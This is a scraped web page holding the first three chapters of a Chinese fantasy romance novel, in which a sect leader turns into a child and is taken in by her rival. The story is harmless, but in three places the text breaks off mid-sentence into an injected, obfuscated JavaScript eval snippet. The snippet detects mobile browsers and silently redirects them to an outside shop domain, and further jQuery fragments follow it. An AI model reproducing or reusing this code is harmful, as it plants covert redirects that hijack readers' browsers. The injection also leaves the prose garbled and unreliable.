《变成幼崽后被宿敌捡回家》 1. 第 1 章 琼山之巅,仙雾萦结。 数座巍峨华美的宫殿如明珠般嵌在峰尖,廊檐下坠着的琉璃悬铃晶莹剔透,折射出天光凝晖,不时随风轻晃,发出悦耳的脆响。 殿外玉阶下,聚集着众多姿容俏丽的女子,有条不紊地依次排开。她们的腰间或挂笛或背琴,整装待发地等候在阶下。 烬花十二宫只听命于宫主一人,如今副宫主们率领各弟子齐聚主宫殿前,必然有大事要发生。 此时此刻,众弟子翘首以盼的寝殿内,鲛绡织金的幔帐后,贵妃榻上正在盘腿打坐着一个窈窕曼妙的女子身影。 纱幔浮动间,显露出女子的绝艳姿容,一朵绽开的烬花虚影正在她的心口处缓速运转。 她仿佛遇到了难解的瓶颈,双眸紧闭,黛眉轻拧,细密的汗珠打湿了额间碎发,体内气血翻涌不停,白玉面颊上覆着一层反常的绯红。 糜月仍保持着打坐的姿势,缓缓睁开眼,眸底闪过些许疑惑。 腹中传来的阵阵异痛宛如烈火灼烧,疼得她眉角直抽。 到底是哪一步出了错?她的肚子怎么会这么疼? 难道是因为晌午吃多了核桃酥饼? 糜月皱眉腾出手,翻着面前的经书功法《烬虚诀》。这是烬花宫的独门秘法,只有宫主有资格修炼,修炼到九重满境后便能脱凡飞升。 可如今这部功法仅剩残卷,只记录着到七重境的修炼心法。 半年前,她便已修至七重境圆满,这份残卷也已经被她翻到头了,想要突破到第八重,只能全靠自己推演。 翻也是白翻。 因为缺少心法,她硬生生压制了半年境界,偏巧在准备讨伐隐剑宗的今日,境界松动得实在压不住了。 强行突破虽然冒险,但一旦修成,她不但能突破停滞多年的桎梏,此番前往东洲讨伐隐剑宗,也能多几分胜算。 糜月感觉到自己距离破境就差临门一脚,现在放弃,实在不甘心。 她暗暗咬牙,强行压下腹中异痛,闭眼加速运转起心法。 …… 时辰如流沙般悄然而逝,残阳将落,天边已然泛起了夕岚霞光。 有些弟子已经站到双腿发麻,却依旧腰背挺直,面上不敢露出一丝怠慢之色。 在十二位副宫主里,以紫薇宫主廖红叶资历最深,眼看太阳就快落山,弟子们先前磨刀霍霍的斗志都快被站没了,主宫内却毫无动静。 廖红叶忍不住看向廊檐下同样在袖手等待的粉衣男修:“沈侍宫,可否进去问问宫主,弟子们皆已到场,我们何时出发?” 粉衣男修生唇红齿白,灵气俊逸,看着是个温和可欺的脾气。 面对众宫主,他不紧不慢道:“请各位副宫主稍安勿躁,我方才瞧过,宫主正在修炼。若今晚宫主未能出殿,讨伐隐剑宗一事便延后再议罢。” 廖红叶闻言猜测:“宫主还在修炼,莫非是要突破七重境了?” “这……灵淇也不知。” 沈灵淇虽然只是个侍宫,可是他自幼同宫主长大,感情非比寻常,又是宫主身边唯一的侍宫,在烬花宫内,任谁都要给他几分薄面。 廖红叶只好耐下性子,继续率领众弟子等待。 身后的弟子们也听到了二人的谈话,低声窃语,眉眼间带着与有荣焉的骄傲。 “宫主久久不出,肯定是在破境!” “那东极剑尊跟宫主百战百平,等宫主成功破境,他定然不是宫主的对手,我们此行讨伐隐剑宗,必能大胜而归!” 沈灵淇抬眼看向天边晚霞,虽说破境的时辰越久,说明突破成功的可能性越大,但宫主这次冲境未免太久了些。 廖红叶的脸色同样有些凝重,寻常弟子不知内情,但她们这些副宫主心里都清楚,前任宫主留下的《烬虚诀》残卷,只到第七重。 宫主这番强行破境,但愿不会出什么岔子。 又等了一炷香,听到宫殿里传来一阵异响,似是杯盏落地被砸碎的动静,沈灵淇和廖红叶同时面色微变。 沈灵淇转身叩了两下殿门,轻唤:“宫主?” 并无人应。 他犹豫片刻,推开殿门,迈步向里走去。 还未靠近与内殿相隔的屏风,一道呵斥声传来:“站住!” 沈灵淇刹住脚步。 这语气听起来是宫主的语气没错,可是这嗓音怎么听起来奶里奶气,像是小孩子的声音? 少年眼底划过疑惑,难道——西境最近流行奶娃音? 不过宫主性情乖张,喜好捉摸不定,此时他也顾不得她嗓音的变化,隔着屏风问:“宫主,我方才听到殿里有摔盏的动静,您破境可还顺利?弟子们都在殿外久候多时,正问何时出发?” 对面的人声顿了顿,回应道:“让弟子们都回罢,今日本宫主身子不适,征讨隐剑宗之事……改日再议。” 糜月已经极力压低嗓音,可仍遮掩不住脆生生的童音,愈发显得怪异和刻意。 这份“刻意”的嗓音,却让沈灵淇更确定了心里的猜想,可她话里的“身子不适”更让他担忧。 “宫主……” 他似是还想再问什么,却直接被打断。 “退下!” 嗓音虽稚嫩,却带着不容置疑的威仪。 沈灵淇顿时不再多言,朝着屏风施了一礼后,转身退去。 听到殿门关合声,屏风后的人彻底泄了气,瘫倒在面前的矮几上。 方才打坐的俊丽少女消失不见,取而代之的,是一个五岁左右的女童,鬓边的海棠流苏似是吃不住重量,快斜歪垂到了肩膀,明显大了一圈的玉钏珠链从她的手臂上脱落。 她没好气地将镯子拍在桌面上,手肘撑在矮几边沿,似是还无法接受这个荒诞离奇的事实,皱起的小包子脸上写满了生无可恋。 一炷香前,她因为那腹中奇痛被疼昏了过去,再次醒来后,疼痛感倒是消失了。她还未来得及检查是否成功破境,便看到杯盏里的倒影,惊吓之余,失手打翻了几案上的杯盏。 老天奶啊,怎么没人告诉她,自家宫门的不传秘法,怎么还有返老还童的作用? 不是,关键她也不老啊,正值妙龄,怎么就还童了呢?! 更不妙的是,她感觉到体内的功力全失,连一丝灵气都凝聚不起来。 糜月低头看着胖藕似的胳膊、肉嘟嘟的小胖手,就这?还讨什么伐?不得被谢无恙那厮秒成渣渣? 不行,她变小孩子的事情,绝对不能让任何人知道。 糜月思忖半晌,作出了一个决定。 撑着贵妃榻的边沿轻轻蹦在地上,踩进鞋里后习惯性地想提上鞋跟,却发现平时合脚的鞋,此时已经大如船,根本没法穿了。 她干脆踢掉鞋,赤脚走到侧殿的书桌边,研磨舔笔,飞快地写完了一封信。 以她现在身高需要踮着脚才能够得着纸张,小手费力地握着笔杆,字也写得歪歪扭扭,但好在能看出是她的笔迹。 糜月搁下笔,走到窗边,用手指捅破油纸,看到殿前阶下灯火煌煌,树影寂寥,各宫的弟子们皆已散去了。 她又转身来到靠墙的整排书架前,左右看了看,把书桌旁的椅子搬了过来,爬上去拿起第三排书架上一本不起眼的书。 随着书册被抽出,檀木书架缓缓向两侧分开,露出了一个幽暗的暗门。 这是她专门给自己修建的密道。 如今的主宫殿是她继任宫主后新建的,目的就是修建这条密道。她这人惜命得很,担心哪天被仇家打上门来,万一不敌,给自己留条后路。 只是没想到这么早就派上了用场。 糜月提着裙子,钻进了幽暗逼仄的密道,身后的书架在她的身影没入黑暗后,严丝合缝地复位原状。 …… 一个时辰后。 琼山脚下的溪水潺潺,星辰月辉在清透的水面抛下碎光,这条小溪是从山涧流下的山泉水,清澈冰凉。 糜月光脚站在溪边的碎石地里,双手掬起一捧溪水,洗了洗脏兮兮的脸。 密道的出口就在山脚不远处,但尚在烬花宫的辖地里,她刚出密道,就碰见了两个下山的弟子。 那两个弟子看见她的背影,以为是哪家的孩子乱跑便喊了一声,倒是她自己心虚,跑得跌跌撞撞,还不小心在草丛里跌了一跤。 一路从山脚走到这里,跟逃难似的,小脸上抹得全是灰,糜月这辈子都没这么狼狈过。 倒并非是她不信任宫中弟子,而是烬花宫人多眼杂,她执掌烬花宫的这些年,恣意肆行,从仇家多到两只手都数不过来。 宫主失踪,总好过变成幼崽还功力全失。 前者传出去,大家还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172417|150498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会猜忌她是跑去哪里游山玩水,短时间内不敢擅动,而若是后者,只怕今日不慎露出风声,明日烬花宫就要被仇家踏破了门槛。 糜月就着溪水一边洗脸,一边沉思。 她尚有几处秘密藏身处可以当临时落脚点,暂避风头,她陡然返老还童,定是冲击境界时功法的推演出了问题。或许静养几日,身子就能恢复如常。 可若是…… 一直变不回来呢? 糜月怔怔看着星光下的水面倒映出的小包子脸,一时透心拔凉,悲从中来。 要想恢复原身,最直接粗暴的办法,就是找到原版的《烬虚诀》,知晓第八重的心法,自然便知道是哪里的推演出了错。 可是不恢复原身,她如何能攻得下隐剑宗,又如何能拿到完整的功法? 仿佛陷入了死局。 更何况,隐剑宗有她的死对头谢无恙坐镇,别说她现在功力全失,换做先前,她也没有十足把握能攻下隐剑宗。 若非如此,她也不会强行突破,走这一步险棋。 可恶,那姓谢的真是她毕生死敌,命中克星啊! “怎么会这样啊!该死!——嘶。” 糜月将这笔账全然归在了谢无恙的头上,朝着流动的溪水忿忿咒骂一句,顺脚地踢了一脚碎石。 她太高估这副五短小身板,石子滚进溪水,溅起朵朵水花,脚趾后知后觉地传来剧痛。 小姑娘强作镇定,黑着脸原地忍了两息,嗷地一声抱着受伤的脚丫痛呼出声。 这副身体实在是太过羸弱,疼得糜月的眼泪都快出来了。 完全没有留意到她身后不远处的丛林里,一双双萤火般翠绿的吊睛正在锁盯着她。 软垫悄然地落在草地上,伏低的黑影不知不觉地在向溪边那个幼小的身影靠近。 等糜月察觉异常,愕然转头时,那数道黑影已然一跃而起,张开血盆大口,尖利的犬牙朝她脆弱的脖颈咬来。 糜月下意识地便想凝结神相,翻身朝偷袭的狼群丢去。 一掌出去,无事发生。 她低头看着自己的小粉拳:“……” 再度抬眼时,野狼已袭至她面门,她甚至都能闻到狼嘴口中的腥气。 糜月压着眉,眼里闪过怒气。 虎落平阳,如今连这些畜生都敢欺负她。 她转而迅速摸向腰间的小乾坤袋,还没来及掏出杀器,与此同时,一道裹挟着杀意的剑风破空斩来。 月光下的剑刃反射出雪色寒芒,白光闪过,几滴温热的血喷溅在了她的面颊上。 只一剑,三头野狼尸首分离,轰然倒地。 糜月搭在乾坤袋上的小手悄然松开。 “咔。” 剑刃抖落血滴,扣入剑鞘的声响,伴随着一道年轻男声,清润似浸了泉水,温沉好听:“小丫头,可有受伤?” 糜月循声看去,树影下站着一道身影,天太黑了,看不清脸,只能隐约看到他身形挺拔隽秀的轮廓。 他从袖中拿出了一张竹青色的绢帕,细致地擦着握剑的手指。他的指骨清瘦肃白,分明没有沾染上血,却被他翻来覆去地擦。 糜月摇摇头。 哪怕他不出手,那几头畜生也伤不了她。 倒是脚指头还在隐隐作痛。 “这里荒郊野外,常有野兽出没,怎么一个人坐在这里哭?”那人又问。 糜月扭过头,死要面子:“谁哭了,是风大吹了眼睛!” 那人似乎也不想戳穿小姑娘的自尊心,只问:“你家住何处?我送你回家。” 糜月闻言更悲伤了。 家? 她现在哪里还有家? 她如今说自己是烬花宫主,都未必有人信。 糜月心情不佳,对于这多管闲事的救命恩人也吝啬言语。 那人见她不应,从树影暗影中走了出来。 皎皎月光下,他白衣胜雪,墨发及腰,星月在他眉眼间映出一抹清冷细碎的棱光,腰间坠挂着九玄寒玉铸成的剑鞘,夜风袭过,空青色的剑穗随风微晃。 身姿如兰亭玉树,端得比风清,比月朗。 糜月盯着来人的面容,被泪水糊住的杏眼却不敢置信地惊恐睁大,再睁大。 谢、谢无恙?! 救命!这厮怎么还找上门了!! 2. 第 2 章 糜月脸色大变。 真是屋漏偏逢连夜雨,船迟又遇打头风。面前的剑修化成灰糜月都认得,正是她前一刻还在心底怒骂的死对头克星——东极剑尊谢无恙! 她在河边蹲一会儿的功夫,怎么就能遇见他?他本家是姓曹吗! 糜月心中一团乱麻,她深吸了一口气,强迫自己冷静,同时脑子飞速运转。 他怎么会出现在这里?这里可是烬花宫的地盘! 莫非是听到了什么风声,提前来踩点的? 此时的山门无她坐镇,弟子们被她放了大半天的鸽子,如今都在各宫休息,怎么都不会想到他们白天要去征讨的敌人,此时已悄悄探进了自家地界。 这老贼若是趁机偷袭,弟子们定会元气大伤。 烬花宫·危! 他走到已然傻掉的糜月面前,看见小姑娘睫毛上尚挂着泪珠,伸手入怀,又重新拿出一块干净的竹纹绢帕递给她。 “擦擦脸。” 嗓音端得清和无害。 小姑娘没吭声,也没有接,圆睁的杏眼甚至比方才被狼群围攻时,更为惊恐。 “……” 谢无恙下意识轻抿了下唇。 他难不成比那群野狼更可怕吗? 把腰间的坠剑往后撇了撇,他朝着小姑娘走近一步。 “你别过来!” 他近一步,小姑娘便立马退一步,握拳瞪他。 谢无恙只好站定原地:“我并非歹人,这附近常有野兽出没,你独自呆在此处很危险。” 糜月如芒在背地握紧小拳头:“坏人可不会说自己是坏人,你看着就不像好人。” 仇敌相见,分外眼红。 换做是半日前,她见到他哪里还会好端端地站在这里同他废话,定是二话不说直接拔剑开打,可是眼下,这副踢个石子都能把自己伤到的渣弱体质,顶多能做到的是跳起来锤他的膝盖。 虽然不知他来此处的目的,但得想办法让他赶紧走。 “……” 小姑娘口齿伶俐,警惕性比他想的还要高。 谢无恙用神识扫了一圈附近,没有野兽,反倒有两个烬花宫小弟子仿佛在寻找着什么,正在往此处靠近。 他本就不是爱多管闲事的性子,这小丫头在琼山脚下哭,很可能是从烬花宫里跑出来的孩子。 糜月见面前人并无要再追问的意思,似要转身离去。 电光火石间,一道白芒灵光窜过她的脑海。 她现在这副模样,谢无恙定然不会认出她是谁,那她怕什么? 谁会提防一个四五岁的小孩子? 若能借此机会,接近谢无恙,接近隐剑宗,岂不是不用费一兵一卒,就拿到剩下的功法残卷了? 眼下变成小孩的困境,不就能迎刃而解了? “等等——” 谢无恙的衣角被一只小手扯住。 他低眸看去,小姑娘仰着小脸,可怜兮兮地攥着他的衣摆,一双圆溜的杏眼在黑夜里晶莹发亮。 “我娘亲不要我了………叔叔,我能跟你回家吗?” 跟方才那挥着拳头凶巴巴的模样判若两崽。 谢无恙眉梢轻扬:“怎么这会又不怕我是坏人了?” “这里有狼有血,我害怕。” 小姑娘脆生生道,看着不远处还散发着血腥气的狼尸,肩膀恰到好处地瑟缩了一下。 谢无恙起初以为她是附近村镇里迷路的小孩子,但在神识探查后,确认那两个正在靠近的烬花宫弟子为寻她而来。 若是烬花宫的孩子,他实在不宜插手。 “这几头野狼已经死透了,你若是还怕,便把眼睛捂上。” 谢无恙正欲从小姑娘的手里无情抽回衣角,视线不经意扫过她的额头,凌乱的刘海遮掩下,隐约显露出朱红的花瓣纹路。 他的目光倏地一沉,长身倾近,冷白的手指猝不及防地撩开了她额头的碎发。 小姑娘额头上略显妖异的朱红色烬花纹彻底暴露在月光下。 糜月一愣,继而大骇。 糟了,她的烬花额纹! 烬花宫的弟子在出生时额间便有一朵烬花额纹,历代传承,宫主嫡系的额纹更为特殊,哪怕她变成幼崽了,这彰显身份的额纹依旧存在。 她竟然忘了这茬……! 糜月的心跳瞬间变得快如擂鼓,忐忑地观察着对面人的表情。 果然,在看到她额间花纹时,谢无恙的眼神变了。 浅淡的眼眸里翻涌着些许她看不懂的复杂情绪,仿佛石子坠入静湖,搅动了一池清泓碎光。 半晌,面前的人收回手,松软的碎发垂落。 “你方才说,你娘亲……不要你了?” 方才没发现那额纹还未觉得,此时谢无恙仔细打量,这小丫头的五官、眉眼……确实都像极了那个人。 糜月眨了眨眼睛,同时也在观察他。 看来,他似乎没有认出这是宫主嫡传的烬花纹,只把她当成了烬花宫普通弟子的孩子。 想来也是,嫡传烬花纹比普通弟子的颜色更深些,乍一看并不明显,若非烬花宫中人,根本分不出这两者的区别。 是她太敏感了。 糜月顺着他的话,佯作伤心地低下头:“嗯……我娘不要我了,我无处可去,其他人也都不喜欢我,我不想回烬花宫。” “……那你爹呢?” “也不要我了。” 糜月心下稍定,想也未想随口答道。 周遭一时沉寂。 谢无恙在暮色中神色难辨,糜月紧攥着他的衣角不松,又有点拿不准了。 虽然烬花宫和隐剑宗交恶,但他也不至于对一个四五岁的孩子下毒手吧? 片刻后,谢无恙似笑非笑,低声叹了句:“难怪……” 难怪?难怪什么? 说话不要掐头去尾啊喂。 谢无恙复又看向她:“隐剑宗不比烬花宫奢靡养人,你确定想跟着我?” 糜月小鸡啄米似点头:“我很好养活的。” 只要能拿回功法,吃点苦算什么? “你当真不想留在这里?” “不想,我想跟你回家。” 小姑娘嗓音软糯热怜,似是在这里受到了苛待,小手扯着他的衣角,大有不带她走,她就不松手的架势。 “……” “走吧。”谢无恙道。 那只比霜雪更素白的手伸至她面前,糜月见计得逞,立刻抓住他的手指。 乘着清冷月色,她跟着谢无恙往与烬花宫相反的方向走去。 糜月心里反而松了口气。 她还真的担心,这厮会把她送回烬花宫。 难以想象十二副宫主看到自己变成这样会是什么反应,那可真是天下大乱了。 她擦去额间冷汗,后知后觉地侧眸一看,浑身僵直。 她、 竟然、 牵着谢无恙的手? 糜月瞬间起了一层鸡皮疙瘩。 她的手小,只能抓得住他的一根手指。 她悄悄仰头,自己原本也属于高挑的身材,没觉得谢无恙有多高,然而变成幼崽后,以仰视的角度看,才惊觉他竟然这么高,仿佛一个擎天的巨人。 糜月阴暗地想,自己若是使些劲,能不能把这根手指给掰折了? 似是感受到她的目光,“巨人”垂下眼,清淡的眸光和她对视了一眼。 小姑娘率先心虚地别开眼,暂时放弃了这个“伤敌汗毛,自损一万”的念头。 “——唔!” 心里装着事,糜月没有专心看脚下的路,不小心踩到了裙角,忽然向前踉跄栽去,幸好拽着他的手指,才没有摔在地上。 谢无恙低头看,小姑娘的裙摆拖得老长,一看就是偷穿了大人的衣服。 好歹是宫主的孩子,怎么连件合身的衣物都没有? 那人对自己亲生孩子都这般无情…… 谢无恙眉头微蹙,同时腰间雪刃出鞘,寒风斩过她脚下,刺耳的裂帛之声传来。 糜月低头一看,顿时脸色惨白,心痛得不能呼吸。 她的金丝薄烟鲛绡攒珠堆银滚边百蝶穿花香云纱裙!!! “你干什么?”糜月的小奶音有点发颤。 剑尖挑开碎布,干脆入鞘。 “裙摆太长,现在不会妨碍走路了,” 谢无恙如墨染的眉眼微敛,看着小姑娘眼底似是感动的泪花,淡淡温声道,“举手之劳,不必言谢。” 糜月喘了几个深呼吸,恨不得扑上去掐死他。 谢你大爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172418|150498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的!你知道这条裙子有多贵吗?! 臭剑修!!! …… 此时此刻,琼山脚下的花都扶桑。 在西境十八洲,以烬花宫一门独大。而紧靠着琼山的扶桑,在烬花宫的庇佑下,已然是整个西境最繁华的不夜城。 夜至深更,街道两侧悬灯结彩,酒肆林立,舞乐丝竹之声处处可闻,甚至比白天还要喧闹许多。 面前的铜制炭锅冒着氤氲的热气,薄切的肉片在红彤彤的沸水中滚了滚,麻辣鲜香的气息直扑鼻底。 夏沥看着程令飞夹起一片肉,像试毒似的,在面前的三个茶盏里轮流涮过一遍。 她颇有些不解:“你这样为何不直接吃白锅?” “你不懂,在西境吃白锅会被人笑话的,再说来都来了,不尝尝这正宗的红油锅子,不就等于白来吗?”程令飞用竹筷小心翼翼地拨掉肉片上最后一粒花椒。 “……” 夏沥看了看周围正在捂嘴偷笑的客人们,真不知道她这师弟是哪来的自信。 入了琼山地界后,俩人都不敢穿隐剑宗的门服,程令飞更是带了个黑布面罩,把下半张脸遮得死死的。 连吃肉时也不肯摘下——夸张地拉低面罩的一角,迅速把涮肉塞进嘴巴,再飞快地把面罩拉上去,咀嚼吞咽。 本来他用三个茶盏涮肉的操作,已经够吸睛了,再加上他这带面罩吃饭的离奇行径,夏沥发现他们完全成了这客栈里的焦点。 本来大老远跑到敌宗地界里就该低调行事,这下好了,他是不是生怕别人认不出他们是敌宗的人? “赶紧把那面罩给我摘了。”夏沥低声咬牙道,十分后悔答应和这个显眼包一起吃夜宵。 “你不知道,听说在这里长得好看的男修,会被烬花宫的女修抓去当侍宫的……小二,再上两杯茶!” 程令飞回头朝身后的店小二喊了句,继续压低声音对夏沥道,“……据说那些抓走的修士都要被那些妖女们吸干阳气,日夜磋磨,不成人形了都,我不得防着点?” 夏沥对他的话深表怀疑:“青天白日的,不能吧。” 程令飞指了指外面:“现在可是晚上。” “……”夏沥面无表情,“你放心,真要有这种事,那也是抓我们师叔,抓不到你头上。” “那可不一定。” 这城里走几步就能碰见一个烬花宫的女修,让程令飞很没有安全感。 店小二端来两杯新茶,闻言忍不住插嘴道:“客官,您就放心罢,那些都是谣言,想当烬花宫的侍宫可没那么容易,这修为、长相、气质缺一不可。” “小的有幸见过烬花宫主的沈侍宫,那模样、气质可是千里挑一。传闻烬花宫主更是世间少有的绝色美人,一般的男修哪能轻易入得了她的眼呢。” 言外之意,阁下想当烬花宫的侍君还不够格。 程令飞虽然有时不灵光,但又不是真傻,听出了小二话里的阴阳,指着自己:“我这戴着面罩,你还能看出我长相佳不佳?” “恕小的直言,您这气质上就差三分。”小二嘿嘿一笑。 “啧你这小二,知不知道什么叫真人不露相?” 这下把程令飞说得炸毛,作势就要揭面罩,露出自己的庐山真俊颜,店小二无意望向门口,眼睛一亮,立马迎上前:“那个客官就可以!客官,您是打尖儿还是住店?” 程令飞不服气地顺着望过去,瞬间矮了气焰,化作笑脸:“师叔!” 夏沥当下搁了筷子,跟着起身。 刚跨过门槛的人一半身披淡淡月华,一半映着酒楼里暖黄的烛光,气质清绝,宛如寒天孤月没隐空山。 在他步入的刹那,整个酒楼的嘈杂声都静止了一瞬。 程令飞挠挠头,他敢打赌那个什么沈侍宫,肯定没有他们师叔气质绝佳。 输给师叔,他不亏。 然而下一刻,他惊讶地发现,在师叔身后,竟然躲着一个四五岁的小姑娘,探头探脑地观察他们。 小姑娘生得玉雪可爱,头顶别的花簪和穿戴的玉镯首饰奢靡精致,只是不知为何裙边裁短了一截,光着一双脏兮兮的脚丫,有点像话本子里落难的富家小千金。 小姑娘面颊鼓鼓,看起来心情不大好,发现他在看自己后,立刻没好气地翻了个白眼。 3. 第 3 章 在糜月跟着谢无恙走后不久,溪水旁便赶来了两位烬花宫弟子。 她们就是糜月钻出密道时时,不小心撞上的那两个小弟子 。 那时夜已深,她们担心小姑娘乱跑会遇见野兽,遂来附近寻找,结果不但没找到人,还在溪水边发现了几头狼尸。 “这剑痕似乎是隐剑宗的剑法……不好,附近有隐剑宗的人出没!” “快回去禀告宫主!” 俩弟子匆匆离去。 殊不知此时,她们的宫主已经坐上了飞往东境的灵舟。 谢无恙独自坐在对面的蒲团上闭目打坐,程令飞和夏沥分坐在两侧,面面相觑。 心里都有一个相同的疑问:师叔不过外出了一趟,怎么就带回一个小姑娘? 程令飞时而好奇地看看糜月,时而看向正在闭眼休憩的师叔,想问又不敢。 那小姑娘的额头有烬花标识,明显是烬花宫的人。 师叔为何要把烬花宫的小孩带去隐剑宗?他们之间是什么关系? 八卦的欲望让他心里抓肝挠腮地痒。 从上灵舟后,谢无恙就没有说过一句话,神色如常,但程令飞莫名觉得,师叔此时的心情很差。 程令飞不敢去打扰他,只好转换目标,压低声音轻唤正扒在灵舟边缘看风景的糜月:“喂,小丫头~” 糜月看着天边逐渐远去的琼山,心下正有些许离家的惆怅,一时还没反应过来程令飞是在叫她。 小姑娘慢悠悠地转过头,程令飞从她圆鼓的包子侧脸上看到明显的不耐烦。 程令飞伸手入兜,翻了半天,从乾坤袋里翻出了一块用油纸包的小方糖,朝她笑嘻嘻地扬眉道:“想吃糖吗?” 糜月默默在心里翻了个白眼:哄小孩呢? 小孩子爱吃糖是天性,糜月想到自己此时扮演的身份,只好收起嫌弃,故作乖巧地上前拿过他手里的糖块:“谢谢叔叔。” 叔…… 程令飞噎了一下,纠正她:“我叫程令飞,你叫我哥哥就行,”又指了指旁边身穿利落短衫的年轻女修,“她叫夏沥,你可以叫她姐姐。” 糜月点点头,手指灵活地拨开糖衣,把麦芽方糖放进嘴里。 很淳朴的甜味,倒是让她的心情好了一点。 “我们这是要去哪里呀?”小姑娘吃着糖块,奶声奶气地问。 “去东洲,隐剑宗。” 程令飞暗自啧啧,这小姑娘连去哪儿都不知道,就被他师叔给拐来了? “那你们为什么来琼山呀?”糜月趁机打探。 “我们是想来买一味叫转星木的木材,在铸剑大典上煅剑用。” 前日一早他们就到达了西境,从游商手中买到了两块转星木,事情办妥,晚上他和师姐张罗着要吃夜宵,师叔独自出了门,结果两刻钟后就带回了这个小姑娘。 小姑娘的语气天真无邪,程令飞没什么防备就把他们此行的目的抖露了出来。 糜月眨了眨眼,原来他们此行并非是对烬花宫有什么图谋,而是来找转星木的。 西境群山环绕,生长着许多奇花异木,转星木便是只生长在西境群山里的珍贵木材,其质地坚硬不输玄铁,是锻剑的一味绝佳材料。许多剑修都专程来到西境十八洲购买这味转星木。 糜月心下猜测,这俩小孩唤谢无恙师叔,许是隐剑宗掌门的徒弟,小辈们想用转星木煅剑,又不敢随意踏足烬花宫的领地,便拉上能撑腰的长辈作陪。 “不知为何转星木的价格忽然水涨船高,这么一小块就要数千灵石,还有价无市,真是怪事……” 程令飞挠头自言自语,小小的一块木头,几乎把他存了多年的私房钱全掏空了。 听他这一说,糜月才忽然想起来,前段时间,她听说转星木能养气血,命人四处搜罗转星木做了许多家具,光泡脚桶就做了十套。 虽然不见得有什么特殊效果,但在容貌和身体上,她一向舍得折腾。 “哎总算出了烬花宫的地界,可憋死我了……” 程令飞扬手把面罩给摘了,露出了还算俊俏的一张脸。 糜月表示,小二说得挺对,实属没必要。 她们烬花宫找侍宫双修,也是有要求的,一般俊俏的还不行,得要特别俊俏的,修为亦不能低,不然对修炼也无助益。 糜月瞄了一眼正在打坐的谢无恙,紧闭的睫毛似鸦羽,耳侧的墨发随风微动,扫过高挺的鼻梁和清冷感十足的颌角,仿若仙人之姿……也就长成他这样的才能勉强够格吧。 但糜月深知不能被此人的外表蛊惑,这人的心肝可是黑透了! 她低头整理了下裙子,还在心疼,这料子整个西境都找不出十条来,就这么少了大半截。 糜月恶狠狠地想,等她找到功法恢复原身,不但要灭了隐剑宗,抄了他们的宗库,还要把谢无恙抓住关起来,让他每天给自己缝裙子,缝了拆拆了缝,让他十根手指都扎了针眼,方能消了这口恶气。 夏沥顺着她理裙子的动作,发现这小姑娘穿得轻薄,这灵舟上风大,于是朝她招了下手,示意她来自己身边坐。 糜月犹豫了下,提裙过去在她身边落座。 “小丫头,还不知道你叫什么名字?” “我叫……月月。” 话音落,某个心无旁骛专注打坐的人眉心一跳,缓缓睁开眼。 那道视线存在感强烈,糜月乌黑的杏眼转了转,很心虚地忙补了一句:“我娘就是这么叫我的。” 隐剑宗难得有这么可爱软糯的小姑娘,夏沥连嗓音都不自觉地轻下来:“很好记的名字。” 随后从乾坤袋里拿出一件披风围在她身上,“月月,现在离隐剑宗尚远,你若是累了,就靠着我睡一会儿。” 糜月这一晚上先是莫名其妙腹痛昏厥,钻密道落跑,又是被小石子硌脚,差点被野狼围攻,简直比真乞儿还惨。 她虽不喜和陌生人近身接触,可眼下实在又累又困,许是剑宗弟子都不爱涂脂抹粉,夏沥身上只有淡淡的皂叶香,糜月并不讨厌。 于是渐渐歪倒在夏沥肩头,把她当成了人肉靠垫。 面对夏沥,小姑娘倒是不怕生了,竟靠在她怀中打起了瞌睡。 谢无恙无声收回视线。 宽大的袖口遮住了他的手掌,玉白的指腹正揉捻着一颗光滑玉润的青玉珠子。 这颗定元珠沾过糜月的血,能感应到她所在的方向,指引位置。 如糜月猜想,他这一趟只是陪小辈们来采购些煅剑原料,并不想节外生枝,但是昨夜亥时,他发现这颗定元珠忽然停止运转了,珠子上沾染的气息无端从琼山之巅消失了。 所以他才会临时出门,想去琼山探听下情况,意外救下了这个小丫头。 程令飞和夏沥分辨不出烬花宫普通相纹和嫡系相纹的区别,但他认得。 加上这小丫头与她年幼时像极了的面容,谢无恙自然而然地得出结论—— 糜月不知跟谁相好有了个孩子,如今抛弃亲生女儿,死遁无踪。 比起她为何要抛弃亲生女儿,谢无恙更在意的是,这孩子的父亲是谁? 她的那位侍宫,沈灵淇? 谢无恙思忖片刻,旋即把这个猜测否决。 这孩子若是她和沈灵淇所出,烬花宫不可能让她流落在外。 这孩子的生父大概见不得人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172419|150498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不然她也不能死遁跑路。 然而谢无恙千算万算都没有想到的是,如今的糜月已经功力全失,倒退回孩童,定元珠自然不会有感应。 …… 天边夜色稍褪,旭日东升,显露了一缕辉光。 